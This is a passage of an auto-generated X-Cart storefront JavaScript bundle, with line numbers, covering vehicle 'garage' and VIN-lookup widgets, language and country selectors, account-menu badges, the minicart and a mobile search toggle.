9965 9966LayoutBlockWidget.prototype.shadeWidget = true; 9967 9968LayoutBlockWidget.prototype.defineWidgetParams = function() { 9969 return _.defaults( 9970 { 9971 'displayGroup': this.base.data('display') 9972 }, 9973 _.pick(jQuery.getQueryParameters(), (value, key, object) => { 9974 return key !== 'displayMode'; 9975 }) 9976 ); 9977}; 9978 9979LayoutBlockWidget.prototype.reload = function(event, args) { 9980 if (args.id === this.base.data('id') && this.base.data('is-reloaded-widget') === 1) { 9981 this.widgetParams = this.defineWidgetParams(); 9982 this.load(); 9983 } 9984}; 9985 9986// Place parsed request data into DOM 9987LayoutBlockWidget.prototype.insertIntoDOM = function(box) 9988{ 9989 this.base.find('.list-item-content').html(box); 9990 return this.base; 9991}; 9992 9993// Extract widget content 9994LayoutBlockWidget.prototype.extractContent = function(box) 9995{ 9996 box = jQuery(this.containerRequestPattern, box); 9997 return box.children(); 9998}; 9999 10000LayoutBlockWidget.autoload = function() { 10001 jQuery('.list-item[data-display]').each(function () { 10002 new LayoutBlockWidget(this); 10003 }); 10004}; 10005 10006xcart.autoload(LayoutBlockWidget);; 10007/* AUTOGENERATED: script.js */ 10008/* vim: set ts=2 sw=2 sts=2 et: */ 10009 10010/** 10011 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10012 * See https://www.x-cart.com/license-agreement.html for license details. 10013 */ 10014 10015function myGarageReposition() { 10016 const win = window.innerWidth; 10017 const myGarageDesktop = jQuery('#my-garage-desktop'); 10018 const myGarageMobile = jQuery('#my-garage-mobile'); 10019 const myGarageDropdown = jQuery('#my-garage'); 10020 10021 if (win < 992) { 10022 if (!myGarageMobile.children().length) { 10023 myGarageMobile.html(myGarageDropdown.detach()); 10024 } 10025 } else { 10026 if (!myGarageDesktop.children().length) { 10027 myGarageDesktop.html(myGarageDropdown.detach()); 10028 } 10029 } 10030} 10031 10032window.addEventListener('resize', () => { 10033 myGarageReposition(); 10034}, {passive: true}); 10035 10036xcart.autoload(myGarageReposition); 10037 10038xcart.microhandlers.add( 10039 'remove-single-stored-selector', 10040 '.remove-single-stored-selector', 10041 function () { 10042 jQuery(this).click(function () { 10043 xcart.post(URLHandler.buildURL({ 10044 target: 'level_selector', 10045 action: 'remove_single_stored', 10046 selectorId: jQuery(this).data('selectorid') 10047 })); 10048 }); 10049 } 10050); 10051 10052xcart.microhandlers.add( 10053 'remove-all-stored-selectors', 10054 '.remove-all-stored-selectors', 10055 function () { 10056 jQuery(this).click(function () { 10057 const selectorIds = xcart.getCommentedData( 10058 jQuery(this).closest('.my-garage__dropdown'), 10059 'mmyStoredSelectors' 10060 ); 10061 10062 xcart.post(URLHandler.buildURL({ 10063 target: 'level_selector', 10064 action: 'remove_all_stored', 10065 selectorIds: selectorIds || null 10066 })); 10067 }); 10068 } 10069); 10070 10071xcart.bind('popup.close', () => { 10072 if (jQuery('.add-vehicle').length) { 10073 jQuery('.add-vehicle') 10074 .find('.level1-selector') 10075 .val('') 10076 .trigger('change'); 10077 } 10078});; 10079/* AUTOGENERATED: script.js */ 10080/* vim: set ts=2 sw=2 sts=2 et: */ 10081 10082/** 10083 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10084 * See https://www.x-cart.com/license-agreement.html for license details. 10085 */ 10086 10087function AddVehiclePopupButton() 10088{ 10089 AddVehiclePopupButton.superclass.constructor.apply(this, arguments); 10090} 10091 10092extend(AddVehiclePopupButton, PopupButton); 10093AddVehiclePopupButton.prototype.pattern = '.add-vehicle-popup'; 10094AddVehiclePopupButton.prototype.callback = function(selector) 10095{ 10096 PopupButton.prototype.callback.apply(this, arguments); 10097} 10098 10099xcart.autoload(AddVehiclePopupButton);; 10100/* AUTOGENERATED: script.js */ 10101/* vim: set ts=2 sw=2 sts=2 et: */ 10102 10103/** 10104 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10105 * See https://www.x-cart.com/license-agreement.html for license details. 10106 */ 10107 10108function SearchVINBlockView(base) 10109{ 10110 10111 var args = Array.prototype.slice.call(arguments, 0); 10112 this.callSupermethod('constructor', args); 10113 10114 this.form = this.base 10115 ? this.base.find('form').get(0) 10116 : null; 10117 10118 if (this.form) { 10119 this.setSelectorId(this.form); 10120 10121 jQuery(this.form).bind('beforeSubmit', _.bind(this.beforeSubmit, this)); 10122 10123 this.form.commonController.enableBackgroundSubmit( 10124 undefined, 10125 _.bind(this.handleResponse, this) 10126 ); 10127 10128 this.bindClearAction(base); 10129 10130 this.findButtonDisabler(this.form); 10131 } 10132 10133 const searchVehicleSwitcher = this.base.siblings('.search-vehicle-switcher'); 10134 searchVehicleSwitcher.find('.tag').click(function () { 10135 xcart.trigger('switchVINsearch'); 10136 }); 10137 10138 xcart.bind('switchVINsearch', _.bind(this.handleSwitch, this)); 10139} 10140 10141extend(SearchVINBlockView, ALoadable); 10142 10143SearchVINBlockView.autoload = function() 10144{ 10145 jQuery('.search-vehicle-block').each( 10146 function() { 10147 new SearchVINBlockView(this); 10148 } 10149 ); 10150}; 10151 10152xcart.microhandlers.add( 10153 'addVehiclePopup', 10154 '.add-vehicle', 10155 function () { 10156 let vinBlock = jQuery(this).find('.search-vehicle-block').get(0) 10157 jQuery('button.add-vehicle-popup').data('without-close', 'none'); /* Wrong logic in popup_button.js */ 10158 10159 setTimeout(function () { 10160 new SearchVINBlockView(vinBlock); 10161 }, 0); 10162 } 10163); 10164 10165// Widget target 10166SearchVINBlockView.prototype.widgetTarget = 'search_vehicle'; 10167 10168// Widget class name 10169SearchVINBlockView.prototype.widgetClass = '\\XC\\VINLookup\\View\\SearchVIN'; 10170 10171SearchVINBlockView.prototype.handleSwitch = function() { 10172 const $base = jQuery(this.base); 10173 let switcher = $base.siblings('.search-vehicle-switcher'); 10174 switcher.toggleClass('search-by-vin'); 10175 10176 let newTitle; 10177 if (switcher.hasClass('search-by-vin')) { 10178 newTitle = switcher.children('.vin-tag').html(); 10179 } else { 10180 newTitle = switcher.children('.mmy-tag').html(); 10181 } 10182 10183 this.switchLookupModeTitle(newTitle); 10184 10185 const isVinCodeFieldEmpty = !$base.find('input[name="vinCode"]').val(); 10186 const $submitBtn = $base.find('button[type="submit"]'); 10187 10188 $submitBtn.prop('disabled', isVinCodeFieldEmpty); 10189 $submitBtn.toggleClass('disabled', isVinCodeFieldEmpty); 10190 10191 $base.toggleClass('hidden'); 10192 $base.siblings('.levels-selectors').toggleClass('hidden'); 10193 $base.siblings('.find-level-button').toggleClass('hidden'); 10194 10195 if (!$base.hasClass('hidden')) { 10196 $base.siblings('label.add-to-garage').removeClass('disabled'); 10197 } else if ($base.siblings('.levels-selectors').find('.no-value-selected').length > 0) { 10198 $base.siblings('label.add-to-garage').addClass('disabled'); 10199 } 10200 10201 let mainCheckbox = $base.siblings('label.add-to-garage'); 10202 if ($base.find('label.add-to-garage').length === 0) { 10203 $base.find('button[type="submit"]').before(mainCheckbox.clone()); 10204 mainCheckbox.toggleClass('switch-sm-hide'); 10205 } else { 10206 mainCheckbox.toggleClass('switch-sm-hide'); 10207 } 10208} 10209 10210SearchVINBlockView.prototype.switchLookupModeTitle = function(newTitle) { 10211 const $base = jQuery(this.base); 10212 10213 let titleHeader = $base.siblings('.header-position-title'); 10214 let titleDialog = $base.closest('.ui-dialog').find('.ui-dialog-title'); 10215 let titleH3 = $base.closest('.block-level-selector').find('h3 .title .text'); 10216 10217 if (titleHeader.children('.active-level').length === 0) { 10218 titleHeader.children('.text').html(newTitle); 10219 titleDialog.html(newTitle); 10220 titleH3.html(newTitle); 10221 } 10222} 10223 10224SearchVINBlockView.prototype.findButtonDisabler = function(form) { 10225 let findBtn = jQuery(form).find('button[type="submit"]'); 10226 jQuery(form.elements.namedItem('vinCode')).on('keyup', function() { 10227 if ($(this).val().length === 0) { 10228 findBtn.addClass('disabled').prop('disabled', true); 10229 } else { 10230 findBtn.removeClass('disabled').prop('disabled', false); 10231 } 10232 }); 10233} 10234 10235SearchVINBlockView.prototype.setSelectorId = function(form) { 10236 let mainSelector = form.closest('.root-level-selector-box'); 10237 let selectorId = jQuery(mainSelector).data('selectorid'); 10238 10239 jQuery(form).find('input[name="selectorid"]').val(selectorId); 10240} 10241 10242SearchVINBlockView.prototype.beforeSubmit = function() { 10243 this.unmarkInvalidInput(); 10244 this.markAsInfoError(false); 10245 10246 this.fillCustomInputs(); 10247} 10248 10249SearchVINBlockView.prototype.handleResponse = function(event, result) { 10250 if (result.isValid && result.textStatus === 'success') { 10251 data = JSON.parse(result.data); 10252 10253 if (typeof(data.info) !== 'undefined') { 10254 this.processInfo(data); 10255 } else if (typeof(data.error) !== 'undefined') { 10256 this.processError(data); 10257 } else { 10258 this.processSuccess(data); 10259 } 10260 jQuery('button.submit', this.base).removeAttr('disabled'); 10261 } 10262} 10263 10264SearchVINBlockView.prototype.processSuccess = function(data) { 10265 xcart.trigger('switchVINsearch'); 10266 10267 let base = jQuery('.root-level-selector-box[data-selectorid=' + data.selectorId + ']'); 10268 10269 this.selectMMYFields(base, data.selected); 10270 this.changeTitle(base, data.titleText, data.levelName); 10271 this.showTooltipSelectSubmodel(data) 10272 10273 xcart.trigger('vinSuccessfullySelectedGA', { 10274 'data': data 10275 }) 10276} 10277 10278SearchVINBlockView.prototype.changeTitle = function(base, titleText, levelName) { 10279 let titleHeader = base.find('.header-position-title'); 10280 let titleH3 = base.closest('.block-level-selector').find('h3 .title'); 10281 this.previousTitle = titleHeader.html(); 10282 10283 titleHeader.addClass('active'); 10284 titleHeader.children('.text').html(titleText + ':'); 10285 titleHeader.children('.active-level').remove(); 10286 titleHeader.children('.text').after('<span class="active-level">' + levelName + '</span>'); 10287 10288 titleH3.children('.text').html(titleText + ':'); 10289 titleH3.children('.value').remove(); 10290 titleH3.children('.text').after('<span class="value">' + levelName + '</span>'); 10291} 10292 10293SearchVINBlockView.prototype.showTooltipSelectSubmodel = function (data) { 10294 if (data.showTooltipSelectSubmodel) { 10295 const tooltipSelector = $('.select_submodel_tooltip') 10296 tooltipSelector.show() 10297 xcart.trigger('disable-select-last-level-for-one-item') 10298 } 10299} 10300 10301SearchVINBlockView.prototype.bindClearAction = function(base) { 10302 const mainBlock = jQuery(base).parent(); 10303 mainBlock.find('.clear-active-selector').on('click', _.bind(function () { 10304 mainBlock.find('.header-position-title').html(this.previousTitle); 10305 }, this)); 10306}; 10307 10308SearchVINBlockView.prototype.temporaryDisableSelectorAutofocus = function ($selector) { 10309 const selector = $selector.get(0); 10310 10311 if (selector && selector.getAttribute('data-auto-focus')) { 10312 selector.setAttribute('data-auto-focus', '0'); 10313 } 10314}; 10315 10316SearchVINBlockView.prototype.selectMMYFields = function(base, selected) { 10317 for (let level in selected) { 10318 let levelIndex = parseInt(level); 10319 const $select = base.find('.level' + level + '-selector'); 10320 const root = this; 10321 10322 this.temporaryDisableSelectorAutofocus($select); 10323 10324 if (levelIndex === 1) { 10325 this.changeMMYFieldValue($select, selected[levelIndex].id); 10326 } else { 10327 xcart.bind( 10328 'reloadlevel' + levelIndex, 10329 _.once(function (event, data) { 10330 root.changeMMYFieldValue($select, selected[levelIndex].id); 10331 }) 10332 ); 10333 } 10334 } 10335} 10336 10337SearchVINBlockView.prototype.changeMMYFieldValue = function($select, value) 10338{ 10339 if (jQuery('option:not(.empty)', $select).length !== 1) { 10340 $select.val(value).change(); 10341 $select.trigger('chosen:updated'); 10342 } 10343} 10344 10345 10346SearchVINBlockView.prototype.processInfo = function(data) { 10347 this.markAsInfoError(true); 10348 this.markInvalidInput(data.info); 10349 this.removeErrorClasses(); 10350} 10351 10352SearchVINBlockView.prototype.processError = function(data) { 10353 this.markInvalidInput(data.error); 10354} 10355 10356SearchVINBlockView.prototype.markAsInfoError = function(info) { 10357 const $el = this.base.find('.vincode-value .input-field-wrapper'); 10358 $el.toggleClass('lookup-info-message', info); 10359} 10360 10361SearchVINBlockView.prototype.unmarkInvalidInput = function() { 10362 this.form.elements.namedItem('vinCode').unmarkAsInvalid(); 10363} 10364 10365SearchVINBlockView.prototype.markInvalidInput = function(message) { 10366 const input = this.form.elements.namedItem('vinCode'); 10367 jQuery(input).tooltip({ 10368 title: message, 10369 placement: 'bottom', 10370 trigger: 'manual' 10371 }); 10372 input.errorTooltipAssigned = true; 10373 input.markAsInvalid(message, null, true); 10374} 10375 10376SearchVINBlockView.prototype.fillCustomInputs = function() { 10377 const storeCheckbox = this.base.parent().find('.add-to-garage:visible').find('input.level-store'); 10378 if (storeCheckbox.length > 0) { 10379 jQuery(this.form).find('input[name="levelStore"]').val(store
10379Checkbox.prop('checked') ? 1 : 0); 10380 } 10381} 10382 10383SearchVINBlockView.prototype.removeErrorClasses = function() { 10384 this.base.find('.vin-search-box').removeClass('has-error'); 10385 this.base.find('.vincode-value .input-field-wrapper').removeClass('has-error'); 10386 this.base.find('.vincode-value input').removeClass('validation-error'); 10387} 10388 10389// Get event namespace (prefix) 10390SearchVINBlockView.prototype.getEventNamespace = function() { 10391 return 'search_vehicle'; 10392} 10393 10394xcart.microhandlers.add( 10395 'hideSelectSubmodelTooltip', 10396 '.level4-selector', 10397 function () { 10398 const selectSubmodelTooltip = $('.select_submodel_tooltip') 10399 const hideSelectSubmodelTooptip = () => { 10400 if (selectSubmodelTooltip.length) { 10401 selectSubmodelTooltip.hide() 10402 } 10403 } 10404 10405 $(document).on('blur change', '.level4-selector', function () { 10406 hideSelectSubmodelTooptip() 10407 }) 10408 } 10409); 10410 10411xcart.autoload(SearchVINBlockView);; 10412/* AUTOGENERATED: script.js */ 10413/* vim: set ts=2 sw=2 sts=2 et: */ 10414 10415/** 10416 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10417 * See https://www.x-cart.com/license-agreement.html for license details. 10418 */ 10419 10420/** 10421 * Controller 10422 */ 10423 10424function LanguageController(base) 10425{ 10426 this.callSupermethod('constructor', arguments); 10427} 10428 10429extend(LanguageController, AController); 10430 10431// Controller name 10432LanguageController.prototype.name = 'LanguageController'; 10433 10434// Find pattern 10435LanguageController.prototype.findPattern = '.language-selector'; 10436 10437// Body handler is binded or not 10438LanguageController.prototype.bodyHandlerBinded = false; 10439 10440// Initialize controller 10441LanguageController.prototype.initialize = function() 10442{ 10443 if (!this.bodyHandlerBinded) { 10444 jQuery('body').click(_.bind( 10445 function (event) { 10446 this.toggleViewMode(false); 10447 }, 10448 this 10449 )); 10450 10451 this.bodyHandlerBinded = true; 10452 } 10453 10454 jQuery(this.base).children('ul').first().click(_.bind( 10455 function(event, box) { 10456 event.stopPropagation(); 10457 10458 this.toggleViewMode() 10459 10460 return false; 10461 }, 10462 this 10463 )); 10464 10465 jQuery('.items-list', this.base).click( 10466 function(event) { 10467 event.stopPropagation(); 10468 } 10469 ); 10470}; 10471 10472// Toggle view mode 10473LanguageController.prototype.toggleViewMode = function(expand) 10474{ 10475 if (expand !== true && expand !== false) { 10476 expand = !this.base.hasClass('expanded'); 10477 } 10478 10479 if (expand) { 10480 this.base.addClass('expanded').removeClass('collapsed'); 10481 } else { 10482 this.base.removeClass('expanded').addClass('collapsed'); 10483 } 10484}; 10485 10486xcart.autoload(LanguageController);; 10487/* AUTOGENERATED: select.js */ 10488/* vim: set ts=2 sw=2 sts=2 et: */ 10489 10490/** 10491 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10492 * See https://www.x-cart.com/license-agreement.html for license details. 10493 */ 10494 10495/** 10496 * Controller 10497 */ 10498 10499function CountrySelect(base) 10500{ 10501 this.callSupermethod('constructor', arguments); 10502} 10503 10504extend(CountrySelect, AController); 10505 10506// Controller name 10507CountrySelect.prototype.name = 'CountrySelect'; 10508 10509// Find pattern 10510CountrySelect.prototype.findPattern = 'form select[name="country_code"]'; 10511 10512// Initialize controller 10513CountrySelect.prototype.initialize = function() 10514{ 10515 jQuery(this.base).change(_.bind( 10516 function(event, box) { 10517 this.changeCountry(box) 10518 }, 10519 this 10520 )); 10521}; 10522 10523// Toggle view mode 10524CountrySelect.prototype.changeCountry = function(elem) 10525{ 10526 if (typeof currenciesByCountry[jQuery(this.base).val()] != 'undefined') { 10527 jQuery('form select[name="currency_code"]').val( 10528 currenciesByCountry[jQuery(this.base).val()] 10529 ); 10530 } 10531 10532 if (typeof languagesByCountry[jQuery(this.base).val()] != 'undefined') { 10533 jQuery('form select[name="language"]').val( 10534 languagesByCountry[jQuery(this.base).val()] 10535 ); 10536 } 10537}; 10538 10539xcart.autoload(CountrySelect);; 10540/* AUTOGENERATED: regional.js */ 10541/* vim: set ts=2 sw=2 sts=2 et: */ 10542 10543/** 10544 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10545 * See https://www.x-cart.com/license-agreement.html for license details. 10546 */ 10547 10548// Mobile menu 10549xcart.microhandlers.add( 10550 'open-regional-settings-mobile', 10551 '.nav-pills-column--menus .account-links__list-item--regional .account-links__list-item-link', 10552 function () { 10553 this.addEventListener( 10554 'click', 10555 (e) => { 10556 xcart.dropdown.open('.language-button-mobile'); 10557 e.preventDefault(); 10558 } 10559 ); 10560 } 10561); 10562
10563// Desktop menu 10564xcart.microhandlers.add( 10565 'open-regional-settings-desktop', 10566 '.header-bar__column-list-item-button-submenu--account .account-links__list-item--regional .account-links__list-item-link', 10567 function () { 10568 this.addEventListener( 10569 'click', 10570 (e) => { 10571 10572 xcart.parents(this, '.account-links__list').forEach(list => { 10573 list.classList.add('account-links__list--regional-open'); 10574 }); 10575 10576 e.preventDefault(); 10577 } 10578 ); 10579 } 10580); 10581 10582xcart.microhandlers.add( 10583 'close-regional-settings-desktop', 10584 '.account-links__list-item-regional-back', 10585 function () { 10586 this.addEventListener( 10587 'click', 10588 (e) => { 10589 xcart.parents(this, '.account-links__list').forEach(list => { 10590 list.classList.remove('account-links__list--regional-open'); 10591 }); 10592 10593 e.preventDefault(); 10594 e.stopPropagation(); 10595 } 10596 ); 10597 } 10598); 10599 10600xcart.bind('top-menu-closed', (event, data) => { 10601 let root = data.menu ?? document.documentElement; 10602 10603 root.querySelectorAll('.account-links__list--regional-open').forEach(menu => { 10604 menu.classList.remove('account-links__list--regional-open'); 10605 }); 10606});; 10607/* AUTOGENERATED: account-menu.js */ 10608/* vim: set ts=2 sw=2 sts=2 et: */ 10609 10610/** 10611 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10612 * See https://www.x-cart.com/license-agreement.html for license details. 10613 */ 10614 10615xcart.bind('updateProductComparison', (e, data) => { 10616 const accountMenuLinks = document.querySelectorAll('.account-links__list-item--compare'); 10617 if (data && accountMenuLinks.length) { 10618 const total = (data.count && data.count > 0) ? data.count : 0; 10619 10620 accountMenuLinks.forEach(link => { 10621 link.classList.toggle('account-links__list-item--disabled', (total < 2)); 10622 let badge = link.querySelector('.account-links__list-item-badge'); 10623 10624 if (total > 0) { 10625 if (!badge) { 10626 badge = document.createElement('SPAN'); 10627 badge.className = 'account-links__list-item-badge'; 10628 link.querySelector('.account-links__list-item-link').appendChild(badge); 10629 } 10630 10631 badge.innerHTML = total; 10632 } else if (badge) { 10633 badge.parentNode.removeChild(badge); 10634 } 10635 }); 10636 } 10637});; 10638/* AUTOGENERATED: account-menu.js */ 10639/* vim: set ts=2 sw=2 sts=2 et: */ 10640 10641/** 10642 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10643 * See https://www.x-cart.com/license-agreement.html for license details. 10644 */ 10645 10646xcart.bind('updateWishlistProductsCount', (e, data) => { 10647 const accountMenuLinks = document.querySelectorAll('.account-links__list-item--wishlist'); 10648 10649 if (data && data.hasOwnProperty('count') && accountMenuLinks.length) { 10650 accountMenuLinks.forEach(link => { 10651 let badge = link.querySelector('.account-links__list-item-badge'); 10652 10653 if (!badge) { 10654 badge = document.createElement('SPAN'); 10655 badge.className = 'account-links__list-item-badge'; 10656 link.querySelector('.account-links__list-item-link').appendChild(badge); 10657 } 10658 10659 badge.innerHTML = data.count; 10660 }); 10661 } 10662}); 10663 10664xcart.microhandlers.add( 10665 'WishlistMenuLinks', 10666 '.account-links__list-item--wishlist > a', 10667 function () { 10668 this.addEventListener( 10669 'click', 10670 (e) => { 10671 const parentClasses = this.parentNode.classList; 10672 10673 if (parentClasses.contains('must-be-logged-in') && parentClasses.contains('log-in')) { 10674 const loginButton = document.querySelector('.account-links__list-item--login button'); 10675 10676 if (loginButton) { 10677 loginButton.click(); 10678 e.preventDefault(); 10679 e.stopPropagation(); 10680 } 10681 } 10682 } 10683 ); 10684 } 10685);; 10686/* AUTOGENERATED: popup_button.js */ 10687/* vim: set ts=2 sw=2 sts=2 et: */ 10688 10689/** 10690 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10691 * See https://www.x-cart.com/license-agreement.html for license details. 10692 */ 10693 10694xcart.autoload(PopupButton);; 10695/* AUTOGENERATED: minicart.js */ 10696/* vim: set ts=2 sw=2 sts=2 et: */ 10697 10698/** 10699 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10700 * See https://www.x-cart.com/license-agreement.html for license details. 10701 */ 10702 10703/** 10704 * Controller 10705 */ 10706 10707function MinicartController(base) 10708{ 10709 this.callSupermethod('constructor', arguments); 10710 10711 if (this.base && this.base.length) { 10712 this.block = new MinicartView(this.base); 10713 xcart.bind(['updateCart', 'updateMiniCart'], _.bind(this.handleUpdate
10713Cart, this)); 10714 } 10715} 10716 10717extend(MinicartController, AController); 10718 10719// Controller name 10720MinicartController.prototype.name = 'MinicartController'; 10721 10722// Find pattern 10723MinicartController.prototype.findPattern = '.lc-minicart'; 10724 10725// Controller associated widget 10726MinicartController.prototype.block = null; 10727 10728// Initialize controller 10729MinicartController.prototype.initialize = function() 10730{ 10731 var o = this; 10732 10733 this.base.bind( 10734 'reload', 10735 function(event, box) { 10736 o.bind(box); 10737 } 10738 ); 10739} 10740 10741MinicartController.prototype.handleUpdateCart = function(event, data) 10742{ 10743 if (data.items || data.total) { 10744 if ('undefined' != typeof(data.itemsCount)) { 10745 this.updateItemsCount(data.itemsCount); 10746 } 10747 10748 this.block.load(); 10749 } 10750} 10751 10752MinicartController.prototype.updateItemsCount = function(count) 10753{ 10754 this.base.find('.minicart-items-number').html(count); 10755 10756 if (0 < count) { 10757 this.base.removeClass('empty'); 10758 this.base.find('.items-list') 10759 .removeClass('empty-cart') 10760 .addClass('full-cart'); 10761 10762 } else { 10763 this.base.addClass('empty'); 10764 this.base.find('.items-list') 10765 .removeClass('full-cart') 10766 .addClass('empty-cart'); 10767 this.block.toggleViewMode(false); 10768 } 10769 10770} 10771 10772/** 10773 * Widget 10774 */ 10775 10776function MinicartView(base) 10777{ 10778 this.callSupermethod('constructor', arguments); 10779 10780 this.bind('local.preload', _.bind(this.handlePreload, this)); 10781 this.bind('local.loadingError', _.bind(this.handleLoaded, this)); 10782} 10783 10784extend(MinicartView, ALoadable); 10785 10786// No shade widget 10787MinicartView.prototype.shadeWidget = false; 10788 10789// Widget target 10790MinicartView.prototype.widgetTarget = 'cart'; 10791 10792// Widget class name 10793MinicartView.prototype.widgetClass = '\\XLite\\View\\Minicart'; 10794 10795// Expanded mode flag 10796MinicartView.prototype.isExpanded = false; 10797 10798// Body handler is binded or not 10799MinicartView.prototype.bodyHandlerBinded = false; 10800 10801// Postprocess widget 10802MinicartView.prototype.postprocess = function(isSuccess) 10803{ 10804 this.callSupermethod('postprocess', arguments); 10805 10806 if (isSuccess) { 10807 10808 // Get display mode 10809 var re = /lc-minicart-([^ ]+)/; 10810 if (!this.widgetParams && this.base.attr('class') && -1 != this.base.attr('class').search(re)) { 10811 if (!this.widgetParams) { 10812 this.widgetParams = {}; 10813 } 10814 10815 var m = this.base.attr('class').match(re); 10816 this.widgetParams.displayMode = m[1]; 10817 } 10818 10819 // Initialize view mode toggle mechanism 10820 this.base.click(_.bind( 10821 function(event) { 10822 this.toggleViewMode(); 10823 }, 10824 this 10825 )); 10826 10827 if (!this.bodyHandlerBinded) { 10828 jQuery('body').click(_.bind( 10829 function (event) { 10830 if (event.target !== this.base.get(0) 10831 && !jQuery.contains(this.base.get(0), event.target) 10832 ) { 10833 this.toggleViewMode(false); 10834 } 10835 }, 10836 this 10837 )); 10838 10839 this.bodyHandlerBinded = true; 10840 } 10841 10842 jQuery('.items-list', this.base).click( 10843 function(event) { 10844 event.stopPropagation(); 10845 } 10846 ); 10847 10848 if (this.isExpanded) { 10849 this.base.addClass('expanded').removeClass('collapsed'); 10850 } 10851 10852 jQuery('a.item-attribute-values', this.base).map(function() { 10853 attachTooltip(jQuery('span', this), jQuery(jQuery(this).attr('data-rel')).html(), 'bottom'); 10854 }); 10855 } 10856}; 10857 10858MinicartView.prototype.handlePreload = function(event, state) 10859{ 10860 var box = this.base.find('.items-list'); 10861 10862 if (box.length) { 10863 var overlay = jQuery(document.createElement('div')); 10864 overlay 10865 .addClass('wait-overlay') 10866 .append('<div></div>'); 10867 box.append(overlay); 10868 } 10869}; 10870 10871MinicartView.prototype.handleLoaded = function(event, state) 10872{ 10873 this.base.find('.wait-overlay').remove(); 10874}; 10875 10876// Toggle view mode 10877MinicartView.prototype.toggleViewMode = function(expand) 10878{ 10879 var old = this.isExpanded; 10880 10881 if (expand !== true && expand !== false) { 10882 expand = !this.base.hasClass('expanded'); 10883 } 10884 10885 if (expand && this.base.hasClass('empty')) { 10886 expand = false; 10887 } 10888 10889 this.isExpanded = expand; 10890 10891 if (expand) { 10892 this.base.addClass('expanded').removeClass('collapsed'); 10893 if (old != this.isExpanded) { 10894 this.triggerVent('opened', this); 10895 } 10896 10897 } else { 10898 this.base.removeClass('expanded').addClass('collapsed'); 10899 if (old != this.isExpanded) { 10900 this.triggerVent('closed', this); 10901 } 10902 } 10903}; 10904 10905// Get event namespace (prefix) 10906MinicartView.prototype.getEventNamespace = function() 10907{ 10908 return 'minicart'; 10909}; 10910 10911xcart.autoload(MinicartController);; 10912/* AUTOGENERATED: minicart.js */ 10913/* vim: set ts=2 sw=2 sts=2 et: */ 10914 10915/** 10916 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10917 * See https://www.x-cart.com/license-agreement.html for license details. 10918 */ 10919 10920const desktopHeader = document.querySelector('.desktop-header'); 10921 10922function materializeMinicart () { 10923 const rect = desktopHeader.getBoundingClientRect(); 10924 10925 // Hidden desktop header means there is a mobile view 10926 if (rect.width === 0 && rect.height === 0) { 10927 switchMinicarts('.mobile_header .lc-minicart-placeholder'); 10928 } else if (!desktopHeader.querySelector('.lc-minicart')) { 10929 switchMinicarts('.desktop-header .lc-minicart-placeholder'); 10930 } 10931} 10932 10933/** 10934 * @param {string} target 10935 */ 10936function switchMinicarts (target) { 10937 const placeholder = document.createElement('div'); 10938 const minicart = document.querySelector('.lc-minicart'); 10939 const targetElement = document.querySelector(target); 10940 10941 placeholder.classList.add('lc-minicart-placeholder'); 10942 if (minicart && targetElement) { 10943 minicart.after(placeholder); 10944 targetElement.replaceWith(minicart); 10945 } 10946} 10947 10948materializeMinicart(); 10949window.addEventListener('resize', materializeMinicart, {passive: true}); 10950 10951xcart.bind('updateCart', (e, data) => { 10952 if (typeof (data.itemsCount) !== 'undefined') { 10953 TopMenu.getInstance().setItemBadge( 10954 '.header-bar__column-list-item-button--cart', 10955 (data.itemsCount <= 9 ? data.itemsCount : '9+') 10956 ); 10957 } 10958});; 10959/* AUTOGENERATED: search.js */ 10960/* vim: set ts=2 sw=2 sts=2 et: */ 10961 10962/** 10963 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 10964 * See https://www.x-cart.com/license-agreement.html for license details. 10965 */ 10966 10967const Search = function () { 10968 const searchButton = document.getElementById('search_menu'); 10969 const container = document.querySelector('.mobile_header-search_menu'); 10970 const searchField = document.querySelector('.mobile_header input[name="substring"]'); 10971 const backButton = document.querySelector('.mobile_header .simple-search__back'); 10972 const clearButton = document.querySelector('.mobile_header .simple-search__clear'); 10973 10974 this.isShown = () => { 10975 return container && container.classList.contains('open'); 10976 }; 10977 10978 /** 10979 * @param {boolean} [show] 10980 */ 10981 this.toggle = (show) => { 10982 if (typeof show === 'undefined') { 10983 show = !this.isShown(); 10984 } 10985 10986 if (container) { 10987 container.classList.toggle('open', show); 10988 } 10989 searchButton.setAttribute('aria-expanded', show ? 'true' : 'false'); 10990 10991 const elementToFocus = show ? searchField : searchButton; 10992 if (elementToFocus) { 10993 elementToFocus.focus(); 10994 } 10995 }; 10996 10997 /** 10998 * @param {string} text 10999 */ 11000 this.setSearchQuery = (text) => { 11001 if (searchField) { 11002 searchField.value = text; 11003 } 11004 }; 11005 11006 this.show = () => { 11007 if (!this.isShown()) { 11008 this.setSearchQuery(''); 11009 } 11010 this.toggle(true); 11011 }; 11012 11013 this.hide = () => { 11014 this.toggle(false); 11015 }; 11016 11017 this.init = () => { 11018 if (searchButton) { 11019 searchButton.addEventListener('click', (e) => { 11020 this.show(); 11021 e.preventDefault(); 11022 }); 11023 } 11024 11025 if (backButton) { 11026 backButton.addEventListener('click', (e) => { 11027 this.hide(); 11028 e.preventDefault(); 11029 }); 11030 } 11031 11032 if (searchField) { 11033 searchField.addEventListener('keydown', (e) => { 11034 if (e.code === 'Escape') { 11035 this.hide(); 11036 e.preventDefault(); 11037 } 11038 }); 11039 11040 if (clearButton) { 11041 searchField.addEventListener('input', () => { 11042 clearButton.classList.toggle('simple-search__clear--visible', !!searchField.value); 11043 }); 11044 11045 clearButton.addEventListener('click', () => { 11046 clearButton.classList.remove('simple-search__clear--visible'); 11047 searchField.focus(); 11048 }); 11049 } 11050 } 11051 }; 11052}; 11053 11054Search.prototype.instance = null; 11055 11056Search.getInstance = () => { 11057 if (!Search.prototype.instance) { 11058 Search.prototype.instance = new Search(); 11059 Search.prototype.instance.init(); 11060 } 11061 11062 return Search.prototype.instance; 11063}; 11064 